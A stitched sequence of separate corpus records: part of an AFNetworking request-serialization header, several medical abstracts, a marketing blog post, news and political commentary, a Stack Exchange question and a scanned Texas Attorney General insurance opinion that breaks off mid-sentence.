-requestWithMethod:URLString:parameters:error: instead.", "\n */\n- (NSMutableURLRequest *)requestWithMethod:(NSString *)method\n URLString:(NSString *)URLString\n parameters:(id)parameters DEPRECATED_ATTRIBUTE;\n\n/**\n Creates an `NSMutableURLRequest` object with the specified HTTP method and URL string.", "\n\n If the HTTP method is `GET`, `HEAD`, or `DELETE`, the parameters will be used to construct a url-encoded query string that is appended to the request's URL. ", "Otherwise, the parameters will be encoded according to the value of the `parameterEncoding` property, and set as the request body.", "\n\n @param method The HTTP method for the request, such as `GET`, `POST`, `PUT`, or `DELETE`. ", "This parameter must not be `nil`.", "\n @param URLString The URL string used to create the request URL.", "\n @param parameters The parameters to be either set as a query string for `GET` requests, or the request HTTP body.", "\n @param error The error that occured while constructing the request.", "\n\n @return An `NSMutableURLRequest` object.", "\n */\n- (NSMutableURLRequest *)requestWithMethod:(NSString *)method\n URLString:(NSString *)URLString\n parameters:(id)parameters\n error:(NSError * __autoreleasing *)error;\n\n/**\n @deprecated This method has been deprecated. ", "Use -multipartFormRequestWithMethod:URLString:parameters:constructingBodyWithBlock:error: instead.", "\n */\n- (NSMutableURLRequest *)multipartFormRequestWithMethod:(NSString *)method\n URLString:(NSString *)URLString\n parameters:(NSDictionary *)parameters\n constructingBodyWithBlock:(void (^)(id <AFMultipartFormData> formData))block DEPRECATED_ATTRIBUTE;\n\n/**\n Creates an `NSMutableURLRequest` object with the specified HTTP method and URLString, and constructs a `multipart/form-data` HTTP body, using the specified parameters and multipart form data block. ", "See http://www.w3.org/TR/html4/interact/forms.html#h-17.13.4.2\n\n Multipart form requests are automatically streamed, reading files directly from disk along with in-memory data in a single HTTP body. ", "The resulting `NSMutableURLRequest` object has an `HTTPBodyStream` property, so refrain from setting `HTTPBodyStream` or `HTTPBody` on this request object, as it will clear out the multipart form body stream.", "\n\n @param method The HTTP method for the request. ", "This parameter must not be `GET` or `HEAD`, or `nil`.", "\n @param URLString The URL string used to create the request URL.", "\n @param parameters The parameters to be encoded and set in the request HTTP body.", "\n @param block A block that takes a single argument and appends data to the HTTP body. ", "The block argument is an object adopting the `AFMultipartFormData` protocol.", "\n @param error The error that occured while constructing the request.", "\n\n @return An `NSMutableURLRequest` object\n */\n- (NSMutableURLRequest *)multipartFormRequestWithMethod:(NSString *)method\n URLString:(NSString *)URLString\n parameters:(NSDictionary *)parameters\n constructingBodyWithBlock:(void (^)(id <AFMultipartFormData> formData))block\n error:(NSError * __autoreleasing *)error;\n\n/**\n Creates an `NSMutableURLRequest` by removing the `HTTPBodyStream` from a request, and asynchronously writing its contents into the specified file, invoking the completion handler when finished.", "\n \n @param request The multipart form request.", "\n @param fileURL The file URL to write multipart form contents to.", "\n @param handler A handler block to execute.", "\n \n @discussion There is a bug in `NSURLSessionTask` that causes requests to not send a `Content-Length` header when streaming contents from an HTTP body, which is notably problematic when interacting with the Amazon S3 webservice. ", "As a workaround, this method takes a request constructed with `multipartFormRequestWithMethod:URLString:parameters:constructingBodyWithBlock:error:`, or any other request with an `HTTPBodyStream`, writes the contents to the specified file and returns a copy of the original request with the `HTTPBodyStream` property set to `nil`. ", "From here, the file can either be passed to `AFURLSessionManager -uploadTaskWithRequest:fromFile:progress:completionHandler:`, or have its contents read into an `NSData` that's assigned to the `HTTPBody` property of the request.", "\n\n @see https://github.com/AFNetworking/AFNetworking/issues/1398\n */\n- (NSMutableURLRequest *)requestWithMultipartFormRequest:(NSURLRequest *)request\n writingStreamContentsToFile:(NSURL *)fileURL\n completionHandler:(void (^)(NSError *error))handler;\n\n@end\n\n#pragma mark -\n\n/**\n The `AFMultipartFormData` protocol defines the methods supported by the parameter in the block argument of `AFHTTPRequestSerializer -multipartFormRequestWithMethod:URLString:parameters:constructingBodyWithBlock:`.", "\n */\n@protocol AFMultipartFormData\n\n/**\n Appends the HTTP header `Content-Disposition: file; filename=#{generated filename}; name=#{name}\"` and `Content-Type: #{generated mimeType}`, followed by the encoded file data and the multipart form boundary.", "\n\n The filename and MIME type for this data in the form will be automatically generated, using the last path component of the `fileURL` and system associated MIME type for the `fileURL` extension, respectively.", "\n\n @param fileURL The URL corresponding to the file whose content will be appended to the form. ", "This parameter must not be `nil`.", "\n @param name The name to be associated with the specified data. ", "This parameter must not be `nil`.", "\n @param error If an error occurs, upon return contains an `NSError` object that describes the problem.", "\n\n @return `YES` if the file data was successfully appended, otherwise `NO`.", "\n */\n- (BOOL)appendPartWithFileURL:(NSURL *)fileURL\n name:(NSString *)name\n error:(NSError * __autoreleasing *)error;\n\n/**\n Appends the HTTP header `Content-Disposition: file; filename=#{filename}; name=#{name}\"` and `Content-Type: #{mimeType}`, followed by the encoded file data and the multipart form boundary.", "\n\n @param fileURL The URL corresponding to the file whose content will be appended to the form. ", "This parameter must not be `nil`.", "\n @param name The name to be associated with the specified data. ", "This parameter must not be `nil`.", "\n @param fileName The file name to be used in the `Content-Disposition` header. ", "This parameter must not be `nil`.", "\n @param mimeType The declared MIME type of the file data. ", "This parameter must not be `nil`.", "\n @param error If an error occurs, upon return contains an `NSError` object that describes the problem.", "\n\n @return `YES` if the file data was successfully appended otherwise `NO`.", "\n */\n- (BOOL)appendPartWithFileURL:(NSURL *)fileURL\n name:(NSString *)name\n fileName:(NSString *)fileName\n mimeType:(NSString *)mimeType\n error:(NSError * __autoreleasing *)error;\n\n/**\n Appends the HTTP header `Content-Disposition: file; filename=#{filename}; name=#{name}\"` and `Content-Type: #{mimeType}`, followed by the data from the input stream and the multipart form boundary.", "\n\n @param inputStream The input stream to be appended to the form data\n @param name The name to be associated with the specified input stream. ", "This parameter must not be `nil`.", "\n @param fileName The filename to be associated with the specified input stream. ", "This parameter must not be `nil`.", "\n @param length The length of the specified input stream in bytes.", "\n @param mimeType The MIME type of the specified data. (", "For example, the MIME type for a JPEG image is image/jpeg.) ", "For a list of valid MIME types, see http://www.iana.org/assignments/media-types/. This parameter must not be `nil`.", "\n */\n- (void)appendPartWithInputStream:(NSInputStream *)inputStream\n name:(NSString *)name\n fileName:(NSString *)fileName\n length:(int64_t)length\n mimeType:(NSString *)mimeType;\n\n/**\n Appends the HTTP header `Content-Disposition: file; filename=#{filename}; name=#{name}\"` and `Content-Type: #{mimeType}`, followed by the encoded file data and the multipart form boundary.", "\n\n @param data The data to be encoded and appended to the form data.", "\n @param name The name to be associated with the specified data. ", "This parameter must not be `nil`.", "\n @param fileName The filename to be associated with the specified data. ", "This parameter must not be `nil`.", "\n @param mimeType The MIME type of the specified data. (", "For example, the MIME type for a JPEG image is image/jpeg.) ", "For a list of valid MIME types, see http://www.iana.org/assignments/media-types/. This parameter must not be `nil`.", "\n */\n- (void)appendPartWithFileData:(NSData *)data\n name:(NSString *)name\n fileName:(NSString *)fileName\n mimeType:(NSString *)mimeType;\n\n/**\n Appends the HTTP headers `Content-Disposition: form-data; name=#{name}\"`, followed by the encoded data and the multipart form boundary.", "\n\n @param data The data to be encoded and appended to the form data.", "\n @param name The name to be associated with the specified data. ", "This parameter must not be `nil`.", "\n */\n\n- (void)appendPartWithFormData:(NSData *)data\n name:(NSString *)name;\n\n\n/**\n Appends HTTP headers, followed by the encoded data and the multipart form boundary.", "\n\n @param headers The HTTP headers to be appended to the form data.", "\n @param body The data to be encoded and appended to the form data. ", "This parameter must not be `nil`.", "\n */\n- (void)appendPartWithHeaders:(NSDictionary *)headers\n body:(NSData *)body;\n\n/**\n Throttles request bandwidth by limiting the packet size and adding a delay for each chunk read from the upload stream.", "\n\n When uploading over a 3G or EDGE connection, requests may fail with \"request body stream exhausted\". ", "Setting a maximum packet size and delay according to the recommended values (`kAFUploadStream3GSuggestedPacketSize` and `kAFUploadStream3GSuggestedDelay`) lowers the risk of the input stream exceeding its allocated bandwidth. ", "Unfortunately, there is no definite way to distinguish between a 3G, EDGE, or LTE connection over `NSURLConnection`. ", "As such, it is not recommended that you throttle bandwidth based solely on network reachability. ", "Instead, you should consider checking for the \"request body stream exhausted\" in a failure block, and then retrying the request with throttled bandwidth.", "\n\n @param numberOfBytes Maximum packet size, in number of bytes. ", "The default packet size for an input stream is 16kb.", "\n @param delay Duration of delay each time a packet is read. ", "By default, no delay is set.", "\n */\n- (void)throttleBandwidthWithPacketSize:(NSUInteger)numberOfBytes\n delay:(NSTimeInterval)delay;\n\n@end\n\n#pragma mark -\n\n/**\n `AFJSONRequestSerializer` is a subclass of `AFHTTPRequestSerializer` that encodes parameters as JSON using `NSJSONSerialization`, setting the `Content-Type` of the encoded request to `application/json`.", "\n */\n@interface AFJSONRequestSerializer : AFHTTPRequestSerializer\n\n/**\n Options for writing the request JSON data from Foundation objects. ", "For possible values, see the `NSJSONSerialization` documentation section \"NSJSONWritingOptions\". ", "`0` by default.", "\n */\n@property (nonatomic, assign) NSJSONWritingOptions writingOptions;\n\n/**\n Creates and returns a JSON serializer with specified reading and writing options.", "\n\n @param writingOptions The specified JSON writing options.", "\n */\n+ (instancetype)serializerWithWritingOptions:(NSJSONWritingOptions)writingOptions;\n\n@end\n\n#pragma mark -\n\n/**\n `AFPropertyListRequestSerializer` is a subclass of `AFHTTPRequestSerializer` that encodes parameters as JSON using `NSPropertyListSerializer`, setting the `Content-Type` of the encoded request to `application/x-plist`.", "\n */\n@interface AFPropertyListRequestSerializer : AFHTTPRequestSerializer\n\n/**\n The property list format. ", "Possible values are described in \"NSPropertyListFormat\".", "\n */\n@property (nonatomic, assign) NSPropertyListFormat format;\n\n/**\n @warning The `writeOptions` property is currently unused.", "\n */\n@property (nonatomic, assign) NSPropertyListWriteOptions writeOptions;\n\n/**\n Creates and returns a property list serializer with a specified format, read options, and write options.", "\n\n @param format The property list format.", "\n @param writeOptions The property list write options.", "\n \n @warning The `writeOptions` property is currently unused.", "\n */\n+ (instancetype)serializerWithFormat:(NSPropertyListFormat)format\n writeOptions:(NSPropertyListWriteOptions)writeOptions;\n\n@end\n\n#pragma mark -\n\n///----------------\n/// @name Constants\n///----------------\n\n/**\n ## Error Domains\n\n The following error domain is predefined.", "\n\n - `NSString * const AFURLRequestSerializationErrorDomain`\n\n ### Constants\n\n `AFURLRequestSerializationErrorDomain`\n AFURLRequestSerializer errors. ", "Error codes for `AFURLRequestSerializationErrorDomain` correspond to codes in `NSURLErrorDomain`.", "\n */\nextern NSString * const AFURLRequestSerializationErrorDomain;\n\n/**\n ## User info dictionary keys\n\n These keys may exist in the user info dictionary, in addition to those defined for NSError.", "\n\n - `NSString * const AFNetworkingOperationFailingURLRequestErrorKey`\n\n ### Constants\n\n `AFNetworkingOperationFailingURLRequestErrorKey`\n The corresponding value is an `NSURLRequest` containing the request of the operation associated with an error. ", "This key is only present in the `AFURLRequestSerializationErrorDomain`.", "\n */\nextern NSString * const AFNetworkingOperationFailingURLRequestErrorKey;\n\n/**\n ## Throttling Bandwidth for HTTP Request Input Streams\n\n @see -throttleBandwidthWithPacketSize:delay:\n\n ### Constants\n\n `kAFUploadStream3GSuggestedPacketSize`\n Maximum packet size, in number of bytes. ", "Equal to 16kb.", "\n\n `kAFUploadStream3GSuggestedDelay`\n Duration of delay each time a packet is read. ", "Equal to 0.2 seconds.", "\n */\nextern NSUInteger const kAFUploadStream3GSuggestedPacketSize;\nextern NSTimeInterval const kAFUploadStream3GSuggestedDelay;\n" ]

{ "pile_set_name": "Github" }

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[ "Trauma pneumonectomy: A narrative review.", "\nThoracic injuries are common in both blunt and penetrating trauma. ", "Most thoracic injuries are managed non-operatively, approximately 7-20% undergo thoracotomy. ", "Of the injuries requiring thoracotomy, 1-6% ultimately require pulmonary resection. ", "Wedge resection and lobectomies are well-studied in the literature; however, there is a paucity regarding reports on total pneumonectomy in the setting of trauma. ", "Our objectives were to summarize the evidence supporting the role of trauma pneumonectomy (TP) in the current era and reiterate that despite the associated morbidity and mortality TP is justified in selective cases. ", "A review of the world's literature was conducted following standard guidelines. ", "Inclusion criteria included those studies reviewing blunt and penetrating trauma to the lungs in adults (age greater than 15 year) that reported mortality rates and outcome measures. ", "The PubMed search yielded 713 studies. ", "Of these, 14 studies included pertinent information on TP. ", "Studies included in this review were published from 1985 to 2017 and involved patient data that was collected from 1972 to 2014. ", "Mortality ranged from 50% to 100% (median 63%; mean 68%). ", "In the setting of severe thoracic trauma, pulmonary resection may be necessary. ", "Less aggressive techniques are options in a stable patient; however, in the setting of ongoing hemorrhage, TP should be considered and expediently conducted. ", "The role of damage control thoracic surgery and related techniques is vitally important in these patients to improve the significant mortality of trauma pneumonectomy." ]

{ "pile_set_name": "PubMed Abstracts" }

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[ "The amino acid mutations A286V and T437M in the nucleoprotein attenuate H7N9 viruses in mice.", "\nThe low pathogenic H7N9 influenza viruses that emerged in 2013 acquired an insertion of four amino acids in their hemagglutinin cleavage site and thereby became highly pathogenic to chickens in 2017. ", "Previous studies indicate that these highly pathogenic H7N9 viruses are virulent in chickens but have distinct pathotypes in mice. ", "A/chicken/Guangdong/SD098 (CK/SD098) is avirulent with a mouse lethal dose (MLD50) greater than 7.5 log10 50% egg infectious dose (EID50), whereas A/chicken/Hunan/S1220 (CK/S1220) is virulent in mice with an MLD50 of 3.2 log10 EID50 In this study, we explored the genetic determinants that contribute to the difference in virulence between these two H7N9 viruses by generating a series of reassortants and mutants in the CK/S1220 virus background and testing their virulence in mice. ", "We found that the reassortant CK/1220-SD098-NP carrying the nucleoprotein (NP) of CK/SD098 was avirulent in mice, with an MLD50 greater than 107.5 EID50 The NP proteins of these two viruses differ by two amino acids at positions 286 and 437. ", "We further demonstrated that the two amino acid mutations A286V and T437M of NP independently slow down the process of NP import to and export from the nucleus, and thus jointly impaired the viral life cycle and attenuated the virulence of these H7N9 viruses in mice. ", "Our study identified new virulence determinants in NP and provided novel targets for the development of live attenuated vaccine and antiviral drugs against influenza viruses.", "Importance The H7N9 influenza viruses that emerged in China in 2013 have caused over 1,500 human infections, with a mortality of nearly 40%. ", "The viruses were initially low pathogenic but became highly pathogenic in chickens at the beginning of 2017 and caused severe disease outbreaks in poultry. ", "Several studies suggest that the highly pathogenic H7N9 viruses have increased virulence in mammals; however, the genetic basis of the virulence of H7N9 viruses in mammals is not fully understood. ", "Here, we found that two amino acids, 286A and 437T, in NP are prerequisites for the virulence of H7N9 viruses in mice, and that the mutations A286V and T437M collectively eliminate the virulence of H7N9 viruses in mice. ", "Our study further demonstrated that the virulence of influenza virus is polygenic trait, and the newly identified virulence-related residues in NP may provide new targets for attenuated influenza vaccine and antiviral drug development." ]

{ "pile_set_name": "PubMed Abstracts" }

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[ "Tissue plasminogen activator as an alternative to vena cava interruption in recurrent pulmonary thromboembolism.", "\nWe have described a woman with pulmonary thromboembolism (PTE) who had acute dyspnea, chest pain, and hypotension during adequate heparin therapy. ", "Pulmonary angiography was consistent with recurrent PTE. ", "The patient was given intravenous TPA and showed significant improvement. ", "Repeat angiography showed resolution of the thrombus in the right main pulmonary artery. ", "The patient did not require vena cava interruption." ]

{ "pile_set_name": "PubMed Abstracts" }

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[ "Physiological and psychological stress responses in adults with attention-deficit/hyperactivity disorder (ADHD).", "\nAccording to self-report and unsystematic observational data adult patients with attention-deficit/hyperactivity disorder suffer from increased vulnerability to daily life stressors. ", "The present study examined psychological and physiological stress responses in adult ADHD subjects in comparison to healthy controls under laboratory conditions. ", "Thirty-six subjects (18 patients with DSM-IV ADHD diagnosis, 18 sex- and age-matched healthy controls) underwent the Trier Social Stress Test (TSST; Kirschbaum, C., Pirke, K.-M., Hellhammer, D.H., 1993. ", "The \"Trier Social Stress Test\"--a tool for investigating psychobiological stress responses in a laboratory setting. ", "Neuropsychobiology 28, 76-81), a standardized psychosocial stress protocol which contains a stress anticipation phase and a stress phase with a free speech assignment and subsequent performance of a mental arithmetic. ", "Physiological stress measures were salivary cortisol as an indicator of the HPA axis, heart rate (HR), and time- and frequency-domain heart rate variability (HRV) parameters. ", "Subjective stress experience was measured via self-report repeatedly throughout the experimental session. ", "In line with previous theoretical and empirical work in the field of childhood ADHD, it was hypothesized that the ADHD and control group would exhibit comparable baseline levels in all dependent variables. ", "For ADHD subjects, we expected attenuated responses of the physiological parameters during anticipation and presence of the standardized stressor, but elevated subjective stress ratings. ", "Hypotheses were confirmed for the baseline condition. ", "Consistent with our assumptions in regard to the psychological stress response, the ADHD group experienced significantly greater subjective stress. ", "The results for the physiological variables were mixed. ", "While ADHD subjects revealed an attenuated HR during the stress phase, no significant group differences were found for the other parameters, although a trend was observed for both the low frequency/high frequency (LF/HF) ratio of the HRV power spectral analysis and salivary cortisol (the latter possibly indicating generally lower cortisol levels in ADHD subjects). ", "In summary, the present findings are the first to demonstrate a significant alteration of a specific physiological stress measure (HR) and, more clearly, of psychological aspects of the stress response in adults suffering from ADHD. ", "In regard to the physiological stress response, it is recommended that future studies employ larger sample sizes and a more comprehensive range of physiological stress parameters. ", "Additionally, the issue of transferability of laboratory results to real life stressors needs to be addressed." ]

{ "pile_set_name": "PubMed Abstracts" }

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[ "4 Ways to Promote and Market your Brand Face-to-Face\n\nWe live in an age where internet and other “non in-person” types of communication are on the rise and becoming more and more important for your business and your brand. ", "However, there are still businesses that can do very little or even nothing online and for whom the more traditional brand promotion and marketing are a must. ", "Here, you will find 4 traditional face-to-face ways in which you can promote and market your brand or business, whatever it might be. ", "These are the crucials and you need to keep them in mind.", "\n\nGo out for drinks/meals/events with your partners\n\nThis harkens back to the good old days of overweight business owners in half-sweaty shirts and pants that are just a bit too tight, going out for bourbon and steaks and making deals. ", "Well, the truth is that these days, even though the business-owners are a bit less sweaty and bit less likely to drink bourbon, this still works and this is still the very basic way of doing business, something that you also need to do. ", "When you meet with your partners or important clients face to face, you can establish a connection that will be more than just providing a service or a product. ", "You become “friends” and this can only be beneficial for your business.", "\n\nVisit/exhibit at trade shows\n\nWhen it comes to trade shows, it is important not to listen to all the doomsayers who are saying that trade shows are dead and that there is no reason to visit them, let alone exhibiting at trade shows. ", "In fact, more than 80% of people who visit trade shows have buying authority and even if are not interested in exhibiting at your own exhibition stands, just attending and networking at trade shows is a smart thing to do when it comes to promoting your brand or business. ", "You will find people from you field there and you will be able to expand your network of contacts immeasurably.", "\n\nWork your local media\n\nYour local media might have a very small base of viewers/listeners/readers but it is still your community and these are the people that you are most likely going to be doing business with. ", "Also, you never know which local story could go regional or even national. ", "This is why you should always stay in touch with the local media, offer them your expertise and not even ask for a quote. ", "Just be a helping hand from time to time and in time, you may actually become the expert that they call on to when they need a comment or advice.", "\n\nOrganize your own events\n\nWhen people start thinking about organizing their own event, they tend to go too large and they get discouraged. ", "The fact is that you can organize a perfectly effective and attractive event even if you do not spend too much or go totally epic with it. ", "For instance, you can invite your clients and your partners for a Saturday in your local park; organize some snacks, a pickup game of something or something small and cute like that. ", "The important thing is to keep it casual and relaxed and people will start associating your brand with good times.", "\n\nAbout the Author:\n\nJames Burbank spent years in marketing in Australia and Europe and is currently States-side, blogging and sharing his experiences. ", "Father of two. ", "You can find him on Twitter – @jburbank2019" ]

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[ "Unofficial values based on averages/sums of smoothed daily data. ", "Information is computed from available daily data during the 1981-2010 period. ", "Smoothing, missing data and observation-time changes may cause these 1981-2010 values to differ from official NCDC values. ", "This table is presented for use at locations that don't have official NCDC data. ", "No adjustments are made for missing data or time of observation. ", "Check NCDC normals table for official data.", "\nWestern Regional Climate Center, wrcc@dri.edu" ]

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[ "Actions\n\nBodies believed to be Chris Watts' 2 young daughters located in ‘close proximity' to mother's body\n\nPosted: 5:48 PM, Aug 16, 2018\n\nUpdated:2018-08-17 14:52:54Z\n\nBy:\nRobert Garrison\n\nFREDERICK, Colorado — The bodies whom police have “strong reason to believe” are 4-year-old Bella and 3-year-old Celeste Watts were located during the late afternoon hours Thursday, Frederick, Colo. police announced Thursday evening.", "\n\nPolice said they will not disclose the location of where the bodies were recovered, but said they were located in close proximity to the other body whom officers strongly believe is Shanann Watts. ", "Her body was found on property owned by Anadarko Petroleum earlier Thursday.", "\n\nThe bodies were found as 33-year-old Christopher Watts sat behind bars at the Weld County Jailon suspicion of murdering his family.", "\n\nChris Watts was taken to jail at 11:30 p.m. Wednesday\nafter he was detained for questioning. ", "Two law enforcement sources told Scripps Denver affiliate KMGH-TV Watts had confessed to killing his wife and daughters. ", "He faces investigation on one count of first-degree murder after deliberation; two counts of first-degree murder – position of trust; and three counts of tampering with a deceased human body." ]

{ "pile_set_name": "Pile-CC" }

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[ "Q:\n\nHow to trigger override methods after button press?", "\n\nI want to Override onBackPressed() but after onClick event.", "\n@Override\npublic void onBackPressed() {\n //Toast Please wait for process\n}\n\nThis is my onClick method: I want to Override onBackPressed() only if this method executes.", "\nprivate void fetchData() {\n showLoader();\n}\n\nA:\n\nYou can keep a boolean variable and update its value to true when your fetchData method finished executing and in your onBackPressed() method you can check the value of that boolean variable and execute your code accordingly\n\n" ]

{ "pile_set_name": "StackExchange" }

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[ "It was there in the presence of Michael Cohen, Trump’s longtime personal lawyer and fixer, who did the deals and arranged the payoffs that were designed to suppress damaging allegations about Trump and other women during the final months of the campaign and whose new guilty plea about lying to Congress has put renewed focus on the president’s words and actions.", "\n\nAD\n\nAD\n\nIt was there in the presence of Roger Stone, a practitioner of the dark arts of politics and a one-time business partner with Manafort, who acted over the years as a political adviser and confidant to Trump and whose apparent knowledge of leaks of emails damaging to Hillary Clinton’s campaign has put him in the crosshairs of the Mueller team.", "\n\nIt was there in the presence of Rick Gates, Manafort’s business partner, who continued in the Trump campaign after Manafort had departed and who had participated with Manafort in a series of fraudulent money-laundering schemes and other escapades that came to light thanks to Mueller’s team of prosecutors.", "\n\nIt was there in the presence of Jerome Corsi, an inveterate, right-wing conspiracy theorist, whose statements to prosecutors about the leaks of Democratic and Clinton campaign emails via WikiLeaks produced a draft plea agreement for lying that he ultimately refused to sign, leaving him still dangling for future legal action.", "\n\nAD\n\nAD\n\nIt was even there in the presence of George Papadopoulos, the low-level foreign policy adviser to the campaign currently serving a two-week prison sentence for lying to federal prosecutors, who sought to leverage his access within the campaign to aggrandize himself in the eyes of foreign diplomats and others.", "\n\nNo one yet knows where all this will ultimately lead or when it will end, in terms of the legal jeopardy for these and others who have been caught up in the Mueller’s web. ", "But the tawdriness factor alone with this rogues’ gallery of characters is enough to put the lie to Trump’s claim of hiring “only the best” to advise him in business or government.", "\n\nCollectively, you can’t make it up. ", "Which is why there is again so much focus on the president as central to the investigation. ", "Trump has suffered through other bad moments since Mueller was appointed to investigate the role Russia played in the 2016 election and the degree to which there was cooperation, collusion, conspiracy, advance knowledge or any other kind of involvement by anyone associated with the Trump campaign. ", "By any measure, the past week ranks as one of the worst for the president.", "\n\nAD\n\nAD\n\nWhat is striking at this point, although not a surprise given past histories and the people involved, is the mountain of lying that has taken place. ", "If Cohen’s admission that he lied to Congress is corroborated by additional evidence from materials seized from his office or testimony, the president has long been lying about his business ventures in Russia, especially when he was a candidate in 2016 and went soft on Russian President Vladi­mir Putin. ", "And as Cohen’s plea makes clear, others have been lying on Trump’s behalf.", "\n\nAs he left the White House on Thursday for the Group of 20 meeting in Argentina, the president said Cohen is now lying about having lied to Congress. ", "He also said that, even if he did what Cohen said, what does it matter? ", "He was a businessman while he was a candidate.", "\n\nRudolph W. Giuliani, one of the president’s personal legal advisers, has said repeatedly that Cohen has lied for years. ", "Why did Trump keep as his personal lawyer someone whose word was so untrustworthy for so many years? ", "Because, Trump said, “a long time ago he did me a favor.” ", "Apparently, for Trump, a past transaction overrode questions of honesty and integrity in the selection of a personal attorney. ", "Is that believable?", "\n\nAD\n\nAD\n\nWhether Cohen’s latest confession contradicts the president’s written answers to Mueller is, of course, of great interest and importance. ", "Mueller and his team know the answer by now.", "\n\nGiuliani has said that nothing Cohen is now saying contradicts what Trump said in his filing to the special counsel. ", "Which then begs the question of why Trump is accusing Cohen of lying now, unless Trump’s answer to the special counsel about any efforts to make a deal with the Russians was so vague, so anodyne, so full of caveats that it could protect him against all contingencies no matter how much Cohen’s testimony has changed.", "\n\nThe web of lies thrown up by the characters who were most prominent in the Mueller investigation this past week is difficult to overstate, although perhaps easy to dismiss as typical, given their histories. ", "In any criminal case like this, targets of the prosecutors and some of the eventual witnesses for the prosecution are rarely saints. ", "They come with their own baggage, which must be weighed by jurors.", "\n\nAD\n\nAD\n\nThat was the case when Gates testified against Manafort and was confronted during cross-examination by Manafort’s lawyers with his own history of lying and fraud. ", "Yet in the end, Manafort was convicted on most counts in that case, leading him to cut a deal with prosecutors ahead of a second trial, a deal now on the rocks because of more lies.", "\n\nThe flurry of activity over the past week has highlighted the various pieces that Mueller and his team are working and the degree that they could involve Trump directly. ", "The connection is Trump and Russia. ", "The president’s statement to the New York Post that a pardon for Manafort is not off the table adds to the other element for the investigators to assess." ]

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[ "Hon. ", "William A. Harrison Opinion No. ", "WW-475\ncommissioner of Insurance\nInternational Life Building Re: Additional investments\nAustin, Texas in a home office property\n exceeding 33 1/3$of a company's\n admitted assets where\n investment in home office\n property has been contracted\n for prior to the amendment\n of Article 3.40 by the\nDear Sir: 54th Legislature.", "\n\nYou have asked this office for an opinion concerning the proper treatment\nto be given an investment by a life insurance company in home office\nproperty where additional investments are made after September 6, 1955,\nwhere a previous investment had been contracted for by such life insurance\ncompany prior to this date. ", "Article 3.40 of the Texas Insurance Code\npermits a life insurance company to acquire and hold one building site\nand office building for a home office property. ", "In 1954 the Legislature\namended Article 3.40 so as to limit the total investment in such property\nfor the first time. ", "Acts 1955, 54tb Legislature, page 916, chapter 363,\nSection 13. ", "Section l(b) was added dnd reads as follows:\n\n \"l(b). ", "No such company shall (after the effective date of this\n Act) make any investment in the properties described in para-\n Eph l(a) above if, after making such investment, the total\n investment of the company in such properties is in excess\n of thirty-three and one-third (33 l/3$) percent of its admitted\n assets as of December 3lst next preceding the date of such\n investment; provided, however, that such investment may be\n increased to'as much as fifty (504b)percent of the company's\n admitted assets upon advance approval of the Board of Insurance\n Cosmissloners;provided further, that such investment may be\n further increased if the amount of such additional increase\n is paid for only from surplus funds and is not included as an\n admitted asset of the company. ", "It is especially provided,\n however, that these limitations shall not affect any bona\n fide investment in such properties actually made by contract\n or otherwise for reasonable and adequate consideration prior\n to the effective date of this Act.\"", "\n\n Your first question is as follow:\n\fHon. ", "William A. Harrison, page 2 (WW-475)\n\n\n\n\n “Assume ABC Life Insurance Company has $500,000 in admitted\n assets. ", "Prior to September 6, 1955, the company contracted\n for the construction of a home office building not to exceed\n $300,000. ", " Subsequent to September 6, 1955, and before the\n completion of the building, the company contracted for\n additional construction on the building to cost another\n $l00,000,and this additional $100,000 was not to be paid\n from tne surplus funds of the company. ", "We respectfully\n request your opinion as to whether this additional investment\n after the effective date of the act violates the provisions\n of Article 3.40, Section l(b), Texas Insurance Code? ", "If you\n answer in the affirmative, shouldthe3osrd (1) non-admit\n the additional $100 ,000 investmen&, (2) non-admit the\n entire investment in the building, or (3) require the\n company to dispose of the investment because it is contrary\n to law and ia not authorized?\"", "\n\nYou apparently assume in your question that the proviso contained in then\nlast~sentence of Section l(b) of Article 3.40 is intended to include\ninvcstment~contracts entered into prior to the effective date of the\nact (S-r 6, 1955) but underthe terms of which the building or\nimprwemen'~thereon constituting the \"investment . . . ", "in such properties\"\nwas not completed until after said date. ", "This particular statutory\nlanguage is not~without ambiguity for it could be argued that the\nLegislature intended that only those investments which were entirely\ncompleted prior to September 6, 1955, should remain unaffected by the\namendment. ", "However, we give this sentence the same construction which\nyou have ass-d for the reason that,a contrary interpretation would\nleave no explanation for the inclusion by the Legislature in this\nsentence of the requirement that the~investment be by contract or other-\nwise for reasonable and adequate consideration. ", "The only apparent\nexplanation for the inclusion of these words is that the Legislature\nintended for the Act not to affect contracts for investments made by the\ncompany in home office property which were bona fide insofar aa they\nwere made on the basis of a reasonable and adequate consideration, without\nregard to whether or not the improvements comprising the investment were\ncompleted prior to September, 1955. ", "Though you do not so state, we assume\nthat the contract in question was supported by reasonable and adequate\nconsideration. ", "Therefore, since the company had contracted prior to\nSeptember 6, 1955, for the construction of a home office property not\nto exceed $300 ,OOO.OO, this investment, regardless of the extent of\nthe company's admitted assets, would be proper insofar as Article 3.40,\nis concerned. ", "Although the initial investment is proper, this article\ndoer not authorize additional investments in home office property after\nthe effective date of the Act up to the limits specified vithout regard\nto the investments made or contracted to be made before the Act. ", "The\nproper test as to whether an investment after the Act is within the\nlimits allowed is whether the total investment in home office\n\fHon. ", "William A. Harrison, page 3 (WW-475)\n\n\n\nproperty after the effective date of the Act up to the limits specified\nwithout regard to the investments made or contracted to be made before\nthe Act. ", "The proper teat aa to whether an investment after the Act is\nwithin the limits allowed is whether the total investment in home office\nproperty after the making of such additional investments exceeda the\nprescribed limits. ", "Since the company in your hypothetical question\nhas already invested more than 5G$ of its admitted assets and~has no\nsurplus, any further investment resulting from additional construction\ncontracted to be made on the building would violate Section 1 (b) of\nArticle 3.40 and would be improwr.", "\n\nWe have previously held in our Opinion Bo. ", "WW-293-A that a company\ninvesting in home office property in excess of the limits permitted\nby Section l(b) of Article 3.40 should be required to either dispose\nof such inveotment or make such adjustments as vi11 bring the investment\nwithin the permissible limits end that the investment in excess of such\nlimits should be non-admitted for statement purposes. ", "We believe\nthat this rule should be applied in the fact situation given in your\nfirst question.~ While the spplication of this rule in the instant\nsituation may seem to penalize the company by requiring it to disose\nof an asset in which its orginsl investment was legally made, it should\nbe remembered that the company's own actions are responsible and this\nresult could have been avoided if the company had been governed in its\nactions by the wording of the article in question. ", "There may be some\nsituations where the home office property is of such a nature that the\ncompany can dispose of a portion of the property and thereby reduce its\ninvestment vlthin the appropriate limits. ", "Under such circumstances\nthe compsny would not be required to dispose of the entire investment.", "\nHowever, in most instances, the home office property will be of such\na nature that it cannot be disposed of piecemeal and in those instances\nthe company will be required to dispose of ita entire investment.", "\nReference is again made to our Opinion W-293-A concerning the disposition\nof unauthorized investments.", "\n\nWe hold in answering your specific questions that the additional investment\nof 